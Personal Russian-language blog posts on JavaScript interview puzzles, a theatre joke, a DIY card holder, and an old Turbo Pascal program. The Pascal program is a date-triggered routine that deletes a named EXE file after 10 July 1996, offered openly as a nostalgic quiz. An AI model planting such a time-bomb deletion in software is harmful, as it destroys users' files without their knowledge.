Задачки из Тестовых Заданий

Я тут по разным собеседованиям хожу, технические интервью регулярно прохожу…

Любимая задачка: перевернуть строку, по символьно, задом на перед.

Я понимаю зачем это надо уметь делать на С/C++ без дополнительного выделения памяти когда каждый байт на счету…
Но на собеседовании по JavaScript? Это ж интерпретируемый (иногда не однозначно) язык, где мегабайты памяти утекают по мелочи!

Ну ок, сел и на бумажке написал примерно вот такое. Выпендрился, fat arrow function заюзал 🙂

const reverseStringByHalfLoop = (value) => {
	const length = value.length; 
	const halfLength = Math.floor(length / 2);

	let result = value.split('');
	for (let i = 0; i < halfLength; i++) {
		const char = result[i];
		result[i] = result[(length - 1) - i];
		result[(length - 1) - i] = char;
	}
	return result.join('');	
}

Этот код поставил в тупик интервьювера! Он даже начал проверять что будет если длинна строки нечетная…

Отвечаю: ничего не будет, средний символ сразу стоит на своем месте 🙂

Ёбушки-воробушки© Вот мы и дожились до программистов (более того интервьюверов) которые про алгоритмы вроде и слышали, вопросы на собеседованиях задавать умеют, но вот «стандартные ответы» на эти вопросы видят в первый раз.

Оказалось от меня ожидали JavaScript style ответа. Я потом загуглил, типа вот такого:

function reverseStringByArray(value) {
	return value.split('').reverse().join('');
}

Ладно, проехали…

Вот вам еще вопрос (точнее связка) который уже 2 раза встречал:

  1. Напишите функцию которая суммирует все переданые в неё аргументы (прикол в том что кол-во аргументов может быть любым)
  2. Передайте в написаную вами выше функцию массив как список параметров (подколка на знание spread синтакстиса)

В общем очередная шизиловка 🙂 Если что, это делается это как-то так:


export const sumOfAllArgs = (...args) => {
	return [...args].reduce((a, b) => a + b, 0);
}

let arr = [1,2,3,4,5];
sumOfAllArgs(...arr);

Но я так и не понял зачем 2 вопроса об одном и том же? Скорее всего этим вопросам тоже 100 лет в обед, а раньше, до ES6 синтаксиса, решалось через proptypes или еще какую-то олдскульной JavaScript Magic.

В общем технические интервью это иногдза забавно. Но качество специалистов удручает… Все знают SOLID и меряются кол-вом патернов, а вот чужой код и best practices уже никто не изучает.

P.S. Да, я на старости подрабатываю программистом. Это прикольно, не дает мозгам засохнуть, ну и 30+ баксов в час это таки деньги 🙂

Правда про IT-шников

Послание от пьяного Карполана для нового поколения IT-шников:

Записано на Silicon Drinkabout в iHub Kyiv группой студентов, будущих ОйТи-шнегов 🙂

P.S. Все будет хорошо, просто выходите иногда из «IT пузыря» в «реальный мир».

Мой любимый анекдот

Одному безработному актёру звонит друг и говорит:
— Слушай, тут халтурка подвернулась, я сразу о тебе подумал.
Актёр:
— Конечно, какой разговор! А что за роль?
— Да понимаешь, не очень большая. Одна строчка.
— Одна строчка? Hет проблем. А какая?
— «Чу! Я слышу пушек гром.»
— «Чу, я слышу пушек гром?» Годится! Куда идти?
— В среду подойдёшь в театр, спросишь режиссёра такого-то.
— Замётано.
В среду актёр подходит в театр, находит режиссёра, тот: скажите
строчку, актёр с пафосом произносит:
— Чу! Я слышу пушек гром!
— Отлично, — говорит режиссёр. — Роль ваша. Приходите в субботу к 7
вечера на спектакль.
— Понял! — отвечает радостный актёр.
Ясное дело, от такого удачного поворота судьбы актёр запивает по
чёрному. Приходит в себя в субботу где-то в 18:30 и сломя голову
бросается в театр, всю дорогу повторяя «Чу! Я слышу пушек гром».
У театра его останавливает швейцар: ты, мол, куда без билета?
— Я «Чу! Я слышу пушек гром», — объясняет актёр.
— А! Ты «Чу! Я слышу пушек гром», — успокаивается швейцар, — ну
проходи.
Актёр — за кулисы. Его, ясное дело, не пускают.
— Я «Чу! Я слышу пушек гром!», — кричит актёр.
— Ты «Чу! Я слышу пушек гром»? Опаздываешь! Давай срочно в
гримёрную! — кричат ему в ответ.
Он — в гримёрную. Гримёрша:
— Товарищ, вы кто?
— Я «Чу! Я слышу пушек гром.»
— Вы «Чу! Я слышу пушек гром»? Что же вы опаздываете?! Садитесь
вот тут, сейчас я вас быстренько.
Актёр, уже в гриме и в мыле, подбегает к сцене. Его перехватывет
режиссёр.
— Ты «Чу! Я слышу пушек гром»?
— Я «Чу! Я слышу пушек гром»!
— Чуть не опоздал! Давай, твой выход!
Актёр выходит на сцену, и за спиной у него раздается оглушительный
взрыв. Актёр вздрагивает и орет:
— Да вы что там, совсем ох…ели?!


Ну и вариант в моем пересказе:

Что бывает если оставить инженера без интернета на 3 дня…

А еще лучше и без электричества! Руки начинают чесаться и изобретаются всякие странные вещи…

Официальная страничка продукта тут: SIM/SD Card Holder by KARPOLAN

Как-то случайно снял прикольное видео :)

И музыка предложенная YouTube наложилась четко в тему:

До сих пор иногда пересматриваю 🙂

Как раньше программировали

Рылся в старых проектах, нашел «гениальную програмку» ©.

Угадайте что она делает и для чего такие вещи делали программисты в прошлом веке?

Program fignya;
Uses Dos;
Var
	y, m, d, dow: Word;
	flag        : Boolean;
	F           : File;
Begin
	Flag := True;
	GetDate(y, m, d, dow);
	
	if (y = 1996) then
	begin
		if (m<7) then Flag := False;
		if (m=7) and (d<10) then Flag := False;
	end;{if (y=1996) then}

	if (y < 1996) then Flag := False;

	if Flag then
	begin
		Assign(F, 'C:\SomeDir\SomeFile.EXE');
		Erase(F);
	end;
End.

Потом в каментах отвечу, интересно услышать что народ думает 🙂